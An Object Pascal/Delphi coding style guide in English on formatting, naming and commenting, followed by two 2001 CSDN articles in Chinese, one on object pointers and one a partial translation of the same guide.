    • 8.1 Simple Statements
      • 8.1.1 Assignment and expression statements
      • 8.1.2 Local variable declarations
      • 8.1.3 Array declarations
    • 8.2 Compound Statements
      • 8.2.3 if statement
      • 8.2.4 for statement
      • 8.2.5 while statement
      • 8.2.6 repeat until statement
      • 8.2.7 case statement
      • 8.2.8 try statement

    1.0 Introduction

    This document is not an attempt to define a grammar for the Object Pascal language. For instance, it is illegal to place a semicolon before an else statement; the compiler simply won't let you do it. As a result, I do not lay that rule out in this style guide. This document is meant to define the proper course of action in places where the language gives you a choice. I usually remain mute on matters that can only be handled one way.

    1.1 Background

    The guidelines presented here are based on the public portions of the Delphi source. The Delphi source should follow these guidelines precisely. If you find cases where the source varies from these guidelines, then these guidelines, and not the errant source code, should be considered your standard. Nevertheless, you should use the source as a supplement to these guidelines, at least so far as it can help you get a general feel for how your code should look.

    1.2 Acknowledgments

    The format of this document and some of its language is based on work done to define a style standard for the Java language. Java has had no influence on the rules for formatting Object Pascal source, but documents found on the Sun web site formed the basis for this document. In particular the style and format of this document were heavily influenced by "A Coding Style Guide for Java WorkShop and Java Studio Programming" by Achut Reddy. That document can be found at the following URL: http://www.sun.com/workshop/java/wp-coding

    The Delphi team also contributed heavily to the generation of this document, and indeed, it would not have been possible to create it without their help.

    2.0 Source Files

    Object Pascal source is divided up primarily into units and Delphi Project files, which both follow the same conventions. A Delphi Project file has a DPR extension. It is the main source file for a project. Any units used in the project will have a PAS extension. Additional files, such as batch files, html files, or DLLs, may play a role in a project, but this paper only treats the formatting of DPR and PAS files.

    2.1 Source-File Naming

    Object Pascal supports long file names. If you are appending several words to create a single name, then it is best to use capital letters for each word in the name: MyFile.pas. This is known as InfixCaps, or Camel Caps. Extensions should be in lower case. For historical reasons, the Delphi source itself often confines itself to 8:3 naming patterns, but developers no longer need feel constrained by those limits, even if turning in source that might be used by the Delphi team.

    If you are translating a C/C++ header file, then your Pascal header translation will usually have the same name as the file you are translating, except it should have a PAS extension. For instance, Windows.h would become Windows.pas. If the rules of Pascal grammar force you to combine multiple header files into a single unit, then use the name of the base unit into which you are folding the other files. For instance, if you fold WinBase.h into Windows.h, then call the resulting file Windows.pas.

    2.2 Source-File Organization

    All Object Pascal units should contain the following elements in the following order:

    1. Copyright/ID block comment
    2. Unit Name
    3. Interface section
    4. Implementation
    5. A closing end and a period.

    At least one blank line should separate each of these elements.

    Additional elements can be structured in the order you find most appropriate, except that the top of the file should always list the copyright first, the unit name second, then any conditional defines, compiler directives or include statements, then the uses clause:

    {*******************************************************}
{                                                       }
{       Borland Delphi Visual Component Library         }
{                                                       }
{       Copyright (c) 1995,98 Inprise Corporation       }
{                                                       }
{*******************************************************}

unit Buttons;

{$S-,W-,R-}
{$C PRELOAD}

interface

uses
  Windows, Messages, Classes,
  Controls, Forms, Graphics,
  StdCtrls, ExtCtrls, CommCtrl;

    It does not matter if you place a type section before a const section, or if you mix type and const sections up in any order you choose.

    The implementation should list the word implementation first, then the uses clause, then any include statements or other directives:

    implementation

uses
  Consts, SysUtils, ActnList,
  ImgList;

{$R BUTTONS.RES}

    2.2.1 Copyright/ID block comment

    Every source file should start with a block comment containing version information and a standard copyright notice. The version information should be in the following format:

    {*******************************************************}
{                                                       }
{       Widgets Galore                                  }
{                                                       }
{       Copyright (c) 1995,98 Your Company              }
{                                                       }
{*******************************************************}
    The copyright notice should contain at least the following line:

    Copyright (c) yearlist CopyrightHolder.

    If you are a third party creating a file for use by Borland, you may add your name at the bottom of the copyright notice:

    {*******************************************************}
{                                                       }
{       Borland Delphi Visual Component Library         }
{       Copyright (c) 1995,99 Borland International     }
{       Created by Project JEDI                         }
{                                                       }
{*******************************************************}

    2.2.2 Unit declaration

    Every source file should contain a unit declaration. The word unit is a reserved word, so it should be in lower case. The name of the unit should be in mixed upper and lowercase, and must be the same as the name used by the operating system's file system. Example:

    unit MyUnit;

    This unit would be called MyUnit.pas when an entry is placed in the file system.

    2.2.3 uses declarations

    Inside units, a uses declaration should begin with the word uses, in lowercase. Add the names of the units, following the capitalization conventions used in the declaration found inside the units:

    uses MyUnit;

    Each unit must be separated from its neighbor by a comma, and the last unit should have a semicolon after it:

    uses
  Windows, SysUtils, Classes, Graphics, Controls, Forms,
  TypInfo;
    It is correct to start the uses clause on the next line, as in the previous example, or you may start the list of units on the same line:
    uses Windows, SysUtils, Classes, Graphics, Controls, Forms,
  TypInfo;

    You may format the list of units in your uses clause so that they wrap just shy of 80 characters, or so that one unit appears on each line.

    2.2.4 class/interface declarations

    A class declaration begins with two spaces, followed by an identifier prefaced by a capital T. Identifiers should begin with a capital letter, and should have capital letters for each embedded word (InfixCaps). Never use tab characters in your Object Pascal source. Example:

    TMyClass

    Follow the identifier with a space, then an equals sign, then the word class, all in lower case:

      TMyClass = class

    If you want to specify the ancestor for a class, add a parenthesis, the name of the ancestor class, and closing parenthesis:

      TMyClass = class(TObject)

    Scoping directives should be two spaces in from the margin, and declared in the order shown in this example:

  TMyClass = class(TObject)
  private
  protected
  public
  published
  end;

    Data should always be declared only in the private section, and its identifier should be prefaced by an F. All type declarations should be four spaces in from the margin:

  TMyClass = class(TObject)
  private
    FMyData: Integer;
    function GetData: Integer;
    procedure SetData(Value: Integer);
  public
  published
    property MyData: Integer read GetData write SetData;
  end;

    Interfaces follow the same rules as class declarations, except you should omit any scoping directives or private data, and should use the word interface rather than class.

    Naming Conventions

    Except for reserved words and directives, which are in all lowercase, all Pascal identifiers should use InfixCaps, which means the first letter should be a capital, and any embedded words in an identifier should be in caps, as well as any acronym that is embedded:

    MyIdentifier
MyFTPClass

    The major exception to this rule is in the case of header translations, which should always follow the conventions used in the header. For instance, write WM_LBUTTONDOWN, not wm_LButtonDown.

    Except in header translations, do not use underscores to separate words. Class names should be nouns or noun phrases. Interface or class names depend on the salient purpose of the interface.

    GOOD type names:
  AddressForm, ArrayIndexOutOfBoundsException

BAD type names:
  ManageLayout         // verb phrase
  delphi_is_new_to_me  // underscores

    3.1 Unit Naming

    Use InfixCaps, as described at the beginning of this section. See also the section on unit declarations

    3.2 Class/Interface Naming

    Use InfixCaps, as described at the beginning of this section. Begin each type declaration with a capital T:

    TMyType
    See also the section on class/interface declarations.

    3.3 Field Naming

    Use InfixCaps, as described at the beginning of this section. Begin each type declaration with a capital F, and declare all data types in the private section, using properties or getters and setters to provide public access. For example, use the name GetSomething to name a function returning an internal field value and use SetSomething to name a procedure setting that value.

    Do not use all caps for const declarations except where required in header translations.

    Delphi is created in California, so we discourage the use of notation, except where required in header translations:

    CORRECT
  FMyString: string;

INCORRECT
  lpstrMyString: string;

    The exception to the Hungarian notation rule is in enumerated types.

      TBitBtnKind = (bkCustom, bkOK, bkCancel, bkHelp,
    bkYes, bkNo, bkClose, bkAbort, bkRetry,
    bkIgnore, bkAll);

    In this case the letters bk are inserted before each element of this enumeration. bk stands for ButtonKind.

    When thinking about naming conventions, consider that one-character field names should be avoided except for temporary and looping variables.

    Avoid variable l ("el") because it is hard to distinguish it from 1 ("one") on some printers and displays.

    3.4 Method Naming

    Method names should use the InfixCaps style. Start with a capital letter, and capitalize the first letter of any subsequent word in the name, as well as any letters that are part of an acronym. All other characters in the name are lower case. Do not use underscores to separate words. Note that this is identical to the naming convention for non-constant fields; however it should always be easy to distinguish the two from context. Method names should be imperative verbs or verb phrases.

    Examples:

    // GOOD method names:
ShowStatus, DrawCircle, AddLayoutComponent

// BAD method names:
MouseButton  // noun phrase; doesn't describe function
drawCircle   // starts with lower-case letter
add_layout_component	// underscores

// The function of this method is unclear. Does
// it start the server running (better: StartServer),
// or test whether or not it is running
// (better: IsServerRunning)?
ServerRunning	// verb phrase, but not imperative

    A method to get or set some property of the class should be called GetProperty or SetProperty respectively, where Property is the name of the property.

    Examples:

    GetHeight, SetHeight

    A method to test some boolean property of the class should be called IsVisible, where Visible is the name of the property.

    Examples:

    IsResizable, IsVisible

    3.5 Local Variable Naming

    Local variables follow the same naming rules as field names, except you omit the initial F, since this is not a Field of an object. (see section 3.3).

    3.6 Reserved Words

    Reserved words and directives should be all lowercase. This can be a bit confusing at times. For instance types such as Integer are just identifiers, and appear with a first cap. Strings, however, are declared with the reserved word string, which should be all lowercase.

    3.7 Type Declarations

    All type declarations should begin with the letter T, and should follow the same capitalization specification laid out in the beginning of this section, or in the section on class declarations.

    4.0 White Space Usage

    4.1 Blank Lines

    Blank lines can improve readability by grouping sections of the code that are logically related. A blank line should also be used in the following places:

    1. After the copyright block comment, package declaration, and import section.
    2. Between class declarations.
    3. Between method declarations.

    4.2 Blank Spaces

    Object Pascal is a very clean, easy to read language. In general, you don't need to add a lot of spaces in your code to break up lines. The next few sections give you some guidelines to follow when placing spaces in your code.

    4.2.2 Blanks should not be used:

    1. Between a method name and its opening parenthesis.
    2. Before or after a .(dot) operator.
    3. Between a unary operator and its operand.
    4. Between a cast and the expression being cast.
    5. After an opening parenthesis or before a closing parenthesis.
    6. After an opening square bracket [ or before a closing square bracket ].
    7. Before a semicolon.

    Examples of correct usage:

    function TMyClass.MyFunc(var Value: Integer);
MyPointer := @MyRecord;
MyClass := TMyClass(MyPointer);
MyInteger := MyIntegerArray[5];

    Examples of incorrect usage:

    function TMyClass.MyFunc( var Value: Integer ) ;
MyPointer := @ MyRecord;
MyClass := TMyClass ( MyPointer ) ;
MyInteger := MyIntegerArray [ 5 ] ;

    4.3 Indentation

    You should always indent two spaces for all indentation levels. In other words, the first level of indentation is two spaces, the second level four spaces, the third level 6 spaces, etc. Never use tab characters.

    There are few exceptions. The reserved words unit, users, type, interface, implementation, initialization and finalization should always be flush with the margin. The final end statement at the end of a unit should be flush with the margin. In the project file, the word program, and the main begin and end block should all be flush with the margin. The code inside the begin..end block, should be indented at least two spaces.

    4.4 Continuation Lines

    Lines should be limited to 80 columns. Lines longer than 80 columns should be broken into one or more continuation lines, as needed. All the continuation lines should be aligned and indented from the first line of the statement, and indented two characters. Always place begin statements on their own line.

    Examples:

    // CORRECT

function CreateWindowEx(dwExStyle: DWORD;
  lpClassName: PChar; lpWindowName: PChar;
  dwStyle: DWORD; X, Y, nWidth, nHeight: Integer;
  hWndParent: HWND; hMenu: HMENU; hInstance: HINST;
  lpParam: Pointer): HWND; stdcall;

// CORRECT

if ((X = Y) or (Y = X) or
  (Z = P) or (F = J) then
begin
  S := J;
end;

    Never wrap a line between a parameter and its type, unless it is a comma separated list, then wrap at least before the last parameter so the type name follows to the next line. The colon for all variable declarations contains no whitespace between it and the variable. There should be a single space following the colon before the type name;

    // CORRECT

procedure Foo(Param1: Integer; Param2: Integer);

// INCORRECT

procedure Foo( Param :Integer; Param2:Integer );

    A continuation line should never start with a binary operator.[???] Avoid breaking a line where normally no white space appears, such as between a method name and its opening parenthesis, or between an array name and its opening square bracket. If you must break under these circumstances, then one viable place to begin is after the opening parenthesis that follows a method name. Never place a begin statement on the same line with any other code.

    Examples:

    // INCORRECT
while (LongExpression1 or LongExpression2) do begin
  // DoSomething
  // DoSomethingElse;
end;

// CORRECT
while (LongExpression1 or LongExpression2) do
begin
  // DoSomething
  // DoSomethingElse;
end;

// CORRECT
if (LongExpression1) or
  (LongExpression2) or
  (LongExpression3) then

    5.0 Comments

    The Object Pascal language supports two kinds of comments: block, and single-line comments. Some general guidelines for comment usage include:

    • It is helpful to place comments near the top of unit to explain its purpose.
    • It is helpful to place comments before a class declaration.
    • It is helpful to place comments before some method declarations.
    • Avoid making obvious comments:

    i := i + 1;	// Add one to i

    • Remember that misleading comments are worse than no comments at all.
    • Avoid putting any information into comments that is likely to become out of date.
    • Avoid enclosing comments in boxes drawn with asterisks or other special typography.
    • Temporary comments that are expected to be changed or removed later should be marked with the special tag "???:" so that they can easily be found afterwards. Ideally, all temporary comments should have been removed by the time a program is ready to be shipped.

    Example:

    // ???: Change this to call Sort when it is fixed
List.MySort;

    5.1 Block Comments

    Object Pascal supports two types of block comments. The most commonly used block comment is a pair of curly braces: { }. The Delphi team prefers to keep comments of this type as spare and simple as possible. For instance, you should avoid using asterisks to create patterns or lines inside your comments. Instead, make use of white space to break your comments up, much as you would in a word processing document. The words in your comments should start on the same line as the first curly brace, as shown in this excerpt from DsgnIntf.pas:

    { TPropertyEditor

  Edits a property of a component, or list of components,
  selected into the Object Inspector.  The property
  editor is created based on the type of the
  property being edited as determined by the types
  registered by...

  etc...

    GetXxxValue
      Gets the value of the first property in the
      Properties property.  Calls the appropriate
      TProperty GetXxxValue method to retrieve the
      value.

    SetXxxValue Sets the value of all the properties
      in the Properties property.  Calls the appropriate
      TProperty SetXxxxValue methods to set the value. }

    A block comment is always used for the copyright/ID comment at the beginning of each source file. It is also used to "comment out" several lines of code.

    Block comments used to describe a method should appear before the method declaration.

    Example:

    // CORRECT

{ TMyObject.MyMethod

  This routine allows you to execute code. }

procedure TMyObject.MyMethod;
begin
end;

// INCORRECT

procedure TMyObject.MyMethod;
{******************************************************
  TMyObject.MyMethod

  This routine allows you to execute code.
*******************************************************}
begin
end;

    A second kind of block comment contains two characters, a parenthesis and an asterisk: (* *). This is sometimes called starparen comments. These comments are generally useful only during code development, as their primary benefit is that they allow nesting of comments, as long as the nest level is less than 2. Object Pascal doesn't support nesting comments of the same type within each other, so really there is only one level of comment nesting: curly inside of starparen, and starparen inside of curly. As long as you don't nest them, any other standard Pascal comments between comments of this type will be ignored. As a result, you can use this syntax to comment out a large chunk of code that is full of mixed code and comments:

    (* procedure TForm1.Button1Click(Sender: TObject);
begin
  DoThis; // Start the process
  DoThat; // Continue iteration
  { We need a way to report errors here, perhaps using
    a try finally block ??? }
  CallMoreCode; // Finalize the process
end; *)

    In this example, the entire Button1Click method is commented out, including any of the subcomments found between the procedure's begin..end pair.

    5.2 Single-Line Comments

    A single-line comment consists of the characters // followed by text. Include a single space between the // and the comment itself. Place single line comments at the same indentation level as the code that follows it. You can group single-line comments to form a larger comment.

    A single-line comment or comment group should always be preceded by a blank line, unless it is the first line in a block. If the comment applies to a group of several statements, then the comment or comment group should also be followed by a blank line. If it applies only to the next statement (which may be a compound statement), then do not follow it with a blank line.

    Example:

    // Open the database
Table1.Open;

    Single-line comments can also follow the code they reference. These comments, sometimes referred to as trailing comments, appear on the same line as the code they describe. They should have at least one space-character separating them from the code they reference. If more than one trailing comment appears in a block of code, they should all be aligned to the same column.

    Example:

    if (not IsVisible) then
  Exit;          // nothing to do
Inc(StrLength);  // reserve space for null terminator

    Avoid commenting every line of executable code with a trailing comment. It is usually best to limit the comments inside the begin..end pair of a method or function to a bare minimum. Longer comments can appear in a block comment before the method or function declaration.

    Classes

    6.1 Class Body Organization

    The body of a class declaration should be organized in the following order:

    • Field declarations
    • Method declarations
    • Property declarations

    The fields, properties and methods in your class should be arranged alphabetically by name.

    6.1.1 Access levels

    Except for code inserted by the IDE, the scoping directives for a class should be declared in the following order:

    • Private declarations
    • Protected declarations
    • Public declarations
    • Published declarations

    There are four access levels for class members in Object Pascal: published, public, protected, and private -- in order of decreasing accessibility. By default, the access level is published. In general, a member should be given the lowest access level which is appropriate for the member. For example, a member which is only accessed by classes in the same unit should be set to private access. Also, declaring a lower access level will often give the compiler increased opportunities for optimization. On the other hand, use of private makes it difficult to extend the class by sub-classing. If there is reason to believe the class might be sub-classed in the future, then members that might be needed by sub-classes should be declared protected instead of private, and the properties used to access private data should be given protected status.

    You should never allow public access to data. Data should always be declared in the private section, and any public access should be via getter and setter methods, or properties.

    6.1.8 Constructor declarations

    Methods should be arranged alphabetically. It is correct either to place your constructors and destructors at the head of this list in the public section, or to arrange them in alphabetical order within the public section.

    If there is more than one constructor, and if you choose to give them all the same name, then sort them lexically by formal parameter list, with constructors having more parameters always coming after those with fewer parameters. This implies that a constructor with no arguments (if it exists) is always the first one. For greatest compatibility with C++Builder, try to make the parameter lists of your constructors unique. C++ cannot call constructors by name, so the only way to distinguish between multiple constructors is by parameter list.

    6.2 Method Declarations

    If possible, a method declaration should appear on one line.

    Examples:

    // Broken line is aligned two spaces in from left.
procedure ImageUpdate(Image img, infoflags: Integer,
  x: Integer, y: Integer, w: Integer, h: Integer)

    Interfaces

    Interfaces are declared in a manner that runs parallel to the declaration for classes:

    InterfaceName = interface([Inherited Interface])
  InterfaceBody
end;

    An interface declaration should be indented two spaces. The body of the interface is indented by the standard indentation of four spaces. The closing end statement should also be indented two characters. There should be a semi-colon following the closing end statement.

    There are no fields in an interface declaration. Properties, however, are allowed.

    All interface methods are inherently public and abstract; do not explicitly include these keywords in the declaration of an interface method.

    Except as otherwise noted, interface declarations follow the same style guidelines as classes.

    7.1 Interface Body Organization

    The body of an interface declaration should be organized in the following order:

    1. Interface method declarations
    2. Interface property declarations

    The declaration styles of interface properties and methods are identical to the styles for class properties and methods.

    8.0 Statements

    Statements are one or more lines of code followed by a semicolon. Simple statements have one semicolon, while compound statements have more than one semicolon and therefore consist of multiple simple statements.

    Here is a simple statement:

    A := B;

    Here is a compound, or structured, statement:

    begin
  B := C;
  A := B;
end;

    8.0.1 Simple Statements

    A simple statement contains a single semicolon. If you need to wrap the statement, indent the second line two spaces in from the previous line:

      MyValue :=
    MyValue + (SomeVeryLongStatement / OtherLongStatement);

    8.0.1 Compound Statements

    Compound Statements always end with a semicolon, unless they immediately precede an end statement, in which case the semicolon is optional.

    begin
  MyStatement;
  MyNextStatement;
  MyLastStatement   // semicolon optional
end;

    8.1.1 Assignment and expression statements

    Each line should contain at most one statement. For example:

    a := b + c; Inc(Count);	// INCORRECT
a := b + c;  		// CORRECT
Inc(Count); 		// CORRECT

    8.1.2 Local variable declarations

    Local variables should have Camel Caps, that is, they should start with a capital letter, and have capital letters for the beginning of each embedded word. Do not preface variable names with an F, as that convention is reserved for Fields in a class declaration:

    var
  MyData: Integer;
  MyString: string;

    You may declare multiple identifiers of the same type on a single line:

    var
  ArraySize, ArrayCount: Integer;

    This practice is discouraged in class declarations. There you should place each field on a separate line, along with its type.

    8.1.3 Array declarations

    There should always be a space before the opening bracket "[" and after the closing bracket.

    type
  TMyArray = array [0..100] of Char;

    8.2.3 if statement

    If statements should always appear on at least two lines.

    Example:

      // INCORRECT
  if A < B then DoSomething;

  // CORRECT
  if A < B then
    DoSomething;

    In compound if statements, put each element separating statements on a new line:

    Example:

      // INCORRECT
  if A < B then begin
    DoSomething;
    DoSomethingElse;
  end else begin
    DoThis;
    DoThat;
  end;

  // CORRECT
  if A < B then
  begin
    DoSomething;
    DoSomethingElse;
  end
  else
  begin
    DoThis;
    DoThat;
  end;

    Here are a few more variations that are considered valid:

      // CORRECT
  if Condition then
  begin
    DoThis;
  end else
  begin
    DoThat;
  end;

  // CORRECT
  if Condition then
  begin
    DoThis;
  end
  else
    DoSomething;

  // CORRECT
  if Condition then
  begin
    DoThis;
  end else
    DoSomething;

    One that has fallen out of favor but deserves honorable mention:

      if Condition then
    DoThis
  else DoThat;

    8.2.4 for statement

    Example:

      // INCORRECT
  for i := 0 to 10 do begin
    DoSomething;
    DoSomethingElse;
  end;

  // CORRECT
  for i := 0 to 10 do
  begin
    DoSomething;
    DoSomethingElse;
  end;

    8.2.5 while statement

    Example:

      // INCORRECT
  while x < j  do begin
    DoSomething;
    DoSomethingElse;
  end;

  // CORRECT
  while x < j do
  begin
    DoSomething;
    DoSomethingElse;
  end;

    8.2.6 repeat until statement

    Example:

      // CORRECT
  repeat
    x := j;
    j := UpdateValue;
  until j > 25;

    8.2.7 case statement

    Example:

      // CORRECT
  case Control.Align of
    alLeft, alNone: NewRange := Max(NewRange, Position);
    alRight: Inc(AlignMargin, Control.Width);
  end;

  // CORRECT
  case x of

    csStart:
      begin
        j := UpdateValue;
      end;

    csBegin: x := j;

    csTimeOut:
      begin
        j := x;
        x := UpdateValue;
      end;

  end;

  // CORRECT
  case ScrollCode of
    SB_LINEUP, SB_LINEDOWN:
      begin
        Incr := FIncrement div FLineDiv;
        FinalIncr := FIncrement mod FLineDiv;
        Count := FLineDiv;
      end;
    SB_PAGEUP, SB_PAGEDOWN:
      begin
        Incr := FPageIncrement;
        FinalIncr := Incr mod FPageDiv;
        Incr := Incr div FPageDiv;
        Count := FPageDiv;
      end;
  else
    Count := 0;
    Incr := 0;
    FinalIncr := 0;
  end;

    8.2.8 try statement

    Example:

      // Correct
  try
    try
      EnumThreadWindows(CurrentThreadID, @Disable, 0);
      Result := TaskWindowList;
    except
      EnableTaskWindows(TaskWindowList);
      raise;
    end;
  finally
    TaskWindowList := SaveWindowList;
    TaskActiveWindow := SaveActiveWindow;
  end;


CSDN_文档中心_Object Pascal：从对象指针谈起

Object Pascal：从对象指针谈起

作者: Musicwind®

创建时间: 2001-08-27

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

更新历史：No.1

更新时间：2001-08-27 19:47

更新人员：Musicwind®

更新备注：创建。

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. 对象指针无处不在

有人说指针是C语言的灵魂，但在Object Pascal中又何尝不是如此呢！你看程序中最常见的“Form1: TForm1;”的声明，还有“procedure TForm1.Button1Click(Sender: TObject);”这样的语句，其中的Form1不正是一个对象指针么？Sender，不也是的么？在Object Pascal中，通过一个对象指针来访问一个对象实例是最直接、最有效的方式。

2. 对象指针的存储

当你声明一个TObject（或者TObject的派生类）类型的变量的时候，你便获得了一个对象指针，但是那只是一个指针而已，系统除了给你四个字节的存储空间外，并没有给你更多。并且，最初那四个字节的值是不确定的，这意味着你不能认为它一定是一个nil或者别的什么值。

3. 对象指针只有一种

对象指针无论怎么千变万化，都可以归为一种，那就是TObject类型的对象指针。因为所有其它类，都是TObject派生，因此TObject类型的指针到处适用。比如这样的代码：

var

Obj: TObject;

Form: TForm;

begin

//….

Obj := Form; //可以有这样的代码，这里的类型转换是自动完成的。

…

end;

也许你会问，那么反过来可不可以呢？当然可以，但是没有那么方便。比如：

begin

Form := TForm(Obj); // ß 这里需要经过强制转换

//…

end;

正如你所知道的，不同类型的变量是否可以互相转换，取决于它们对于存储空间的需求如何。正因为同是对象指针，对存储空间的要求完全一致，所以强制转换不成问题。

对象指针只有一种，似乎也可以总结为“天下指针皆一家”这句话。

4. 灵活运用

有没有尝试过这样的代码呢？

var

i: Integer;

dw: DWORD;

begin

I := Integer(Button1);

ShowMessage(TButton(I).Caption);

dw := DWORD(Button1);

ShowMessage(TButton(dw).ClassName);

end;

你会发现，原来Integer，DWORD也可以作为对象指针来使用。原因自然是因为它们的存储空间与TObject类型的指针所要求的相同。

推而广之，只要有四个字节……（后面就不用我说了吧？），或者套用阿基米德的一句名言“只要给我四个字节，我就可以……”。

Object Pascal的世界其实也很精彩，只要你肯发现！

更多文章

[文终]


CSDN_文档中心_Object Pascal编程风格通则

Object Pascal Style Guide - By Charles Calvert
(对象Pascal编码风格向导 - 译：Tommy Tong)

概要：
这篇文章展现了一种格式化Delphi代码的标准风格。它的实现是基于Delphi小组的开发习惯。

我们承认许多好的已经确定的工作室或个人，拥有他们自己的和本文里所说的不同的编程习惯， 但是，我们强烈建议你使用一个工具将你的代码转换为Borland风格的代码，然后再提交给Borland，Project JEDI或其他任何公开的源代码知识库。我们不想强迫你改变你的习惯，但我们坚持所有同Borland产品一起工作的的代码遵循本文描述的习惯。

对象Pascal是一种优美的设计语言。较强的可读性就是它的一个优点。本文设计的标准将增强对象Pascal代码的可读性。当开发人员遵从本文展现的这些简单的习惯，他们也将成为标准，这将有益于所有的Delphi开发人员使用统一的易读的代码风格。执行这些标准的努力将增加开发人员的源代码的价值，特别是在维护和调试循环阶段。

尽管我们相信并且赞美本文所宣扬的风格，但我们没有必要支持它，因为它本身是正确的而其它的则是错误的。然而我们相信绝大多数开发人员遵从的标准是有它的功效的，所以我们仍然支持并维护该风格。人类的大脑总在适应标准，并且找寻方法去快速组织所熟悉的模式，从而快速而有效地理解其含义。正是因这种要求而建立的标准将使大量的人尽可能容易的阅读代码。如果在初次使用我们的指导方针是感到陌生，那么我们请你坚持一会儿，你会发现你也变得习惯了。或者，如果你愿意，你也可以保持你自己的风格，并通过一个遵从我们标准的程序来转换，然后你可以将你的代码提交给Borland或其他知识库了。

一些文本编辑器，象Visual SlickEdit可以帮助你按照一定的风格来格式化你的代码。

一个免费的由Egbert van Nes开发的格式化程序可以在以下的连接获得：
http://www.slm.wau.nl/wkao/delforexp.html

另一个针对Delphi的商业化程序是CrackerJax：
http://www.kineticsoftware.com/html/products.html

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

1.0 介绍
本文不是为Object Pascal语言定义语法规则的一种尝试。例如：在else前面放置封号"；"是违法的；编译器不允许这种用法。所以我不会在本文中展示语法规则。本文旨在在语言提供选择的地方定义适当的行为习惯。我通常在只有一种控制方法的地方保持沉默。

1.1 背景
在本文出现的指导方针基于Delphi源代码的一部分。Delphi源代码恰好遵循这些指导方针。如果你发现了违反这些原则的情况，那么应该是这些原则而不是那些不确定的源代码成为你的指导方针。然而，你可以使用这些原代码作为这些原则的补充，至少它可以帮助你得到关于你自己的代码的形式的一般看法。

1.2 感谢
本文这些格式是基于已完成的为Java语言定义的风格标准的工作的。Java在规则上对格式化Object Pascal源代码是没有任何影响的，但在Sun网站上的文档是本文的基础。 在某些特殊的地方本文的风格和格式受到"A Coding Style Guide for Java WorkShop and Java Studio Programming"(Achut Reddy, 《Java车间和Java工作室的编码向导》)的很大启发。该文章可在该URL找到：http://www.sun.com/workshop/java/wp-coding
Delphi小组为本文的完成做出了重大贡献，事实上，如果没有它们的帮助，本文是无法完成的。

2.0 源文件
Object Pascal源代码主要被分成单源文件和项目文件，他们都遵从相同的习惯。Delphi项目文件有一个.DPR的扩展名。它是项目的主文件。任何在项目中使用的单元文件都有一个.PAS的扩展名。其它的文件，象批处理文件、HTML文件或者DLLs也可以在项目中扮演一个角色，但本文只涉及项目文件和单元文件。

2.1 源文件命名
Object Pascal支持长文件名。如果你使用几个单词来形成一个单一的名称，那么最好是为每个单词使用大写的开头字母：MyFile.pas。这被认为是插入式大写或驼峰式大写。扩展名应当使用小写形式。由于历史原因，Delphi源代码经常使用8:3式命名模式，但开发人员不必为上述规则所限制而转向Delphi小组的用法。
如果你正在翻译一个C/C++头文件，那么你翻译的Pascal文件要与C/C++头文件保持相同的主文件名，扩展名用.PAS。例如：Windows.h -> Windows.pas。如果Pascal语法强迫你将几个头文件组合到一个单一的单元文件中，那么包含其他头文件的那个头文件的文件名将作为新单元文件的名称。例如：Windows.h包含了WinBase.h文件，则新的单元文件名为Windows.pas.

2.2 源文件组织
所有的Object Pascal单元文件应当按照以下的顺序包含下列元素：
版权／标识块注释
单元名
接口段
实现部分
一个结束符"end."

每个部分之间至少空一行。

其它的元素应当被结构化成你认为最适当的顺序。但版权应当出现在文件的最开始，然后是单元名，然后是任何条件定义、编译器指示符或包含语句，然后是uses字句：
{*******************************************************}
{ }
{ Borland Delphi Visual Component Library }
{ }
{ Copyright (c) 1995,98 Inprise Corporation }
{ }
{*******************************************************}

unit Buttons;

{$S-,W-,R-}
{$C PRELOAD}

interface

uses
Windows, Messages, Classes,
Controls, Forms, Graphics,
StdCtrls, ExtCtrls, CommCtrl;

如果你将type段放到const段之前，或者将它们两者混合，那是没有什么影响的。

实现部分需要首先将implementation写出来，然后是uses字句，然后是其它的包含声明或别的指示符：
implementation

uses
Consts, SysUtils, ActnList,
ImgList;

{$R BUTTONS.RES}

2.2.1 版权／标识块注释
每一个源文件都应当以一个包含版本信息和标准版权布告块注释开始。版本信息可以象下面这样：
{*******************************************************}
{ }
{ Widgets Galore }
{ }
{ Copyright (c) 1995,98 Your Company }
{ }
{*******************************************************}

版权布告至少需要包含以下行：
版权所有(C) 年份 版权所有者

如果你是为Borland开发软件的第三方，你可以在版权的最后加入你自己的名字：
{*******************************************************}
{ }
{ Borland Delphi Visual Component Library }
{ Copyright (c) 1995,99 Borland International }
{ Created by Project JEDI }
{ }
{*******************************************************}

2.2.2 unit声明
每一个单元文件要有一个unit声明。unit是一个保留字，因此它需要小写。单元的名称可以是大小写混合的，但必须和单元文件的文件名相同。例如：
unit MyUnit;

则单元文件的名称应当为MyUnit.pas。在文件系统中，它作为这个文件的入口。

2.2.3 uses声明
在单元内部，uses声明应当使用小些的uses引导。被引用的单元名要遵循在他自己的单元中被定义时使用的大写习惯：
uses MyUnit;

每一个单元名被一个逗号同其相邻的单元名分开，最后一个单元名后面跟一个分号：
uses
Windows, SysUtils, Classes, Graphics, Controls, Forms,
TypInfo;

在uses的下一行开始加入单元名和在uses后面直接加入单元名同样都是正确的。
uses Windows, SysUtils, Classes, Graphics, Controls, Forms,
TypInfo;

你可以格式化你的单元名列表，可以在80个字符限制下换行，或者每个单元名一行。

2.2.4 类和接口定义
类的定义以两个空格开始，然后是一个前缀"T"。 前缀要大写，每个内嵌的单词要大写开头。不要在Object Pascal源代码中使用制表符"Tab"。例：
TMyClass
在标识符之后接一个空格，然后是等号，然后是class单词，class要小写：
TMyClass = class
如果你的类是从祖先继承来的，则需要加入包含着祖先类的左右括号：
TMyClass = class(TObject)
范围指示符离页边两个空格，并以下面的顺序出现：
TMyClass = clss(TObject)
private
protect
public
published
end;

数据通常只在private段声明，并且它们的标识符以"F"开始。所有此类的声明离页边4个空格：
TMyClass = class(TObject)
private
FMyDate: Integer;
function GetDate: Integer;
procedure SetData(Value: Integer);
public
published
property MyData: Integer read GetData write SetData;
end;

接口遵从同类相同的规则，除了你应当忽略范围指示符和私有数据，并且使用interface单词代替class单词。

命名习惯
除了保留字和指示符是小写外，所有的Pascal标识符应当使用驼峰式格式，即每个标识符开头字母要大写，内嵌单词的首字母也要大写，只取首字母的缩写词也一样。
MyIdentifier
MyFTPClass

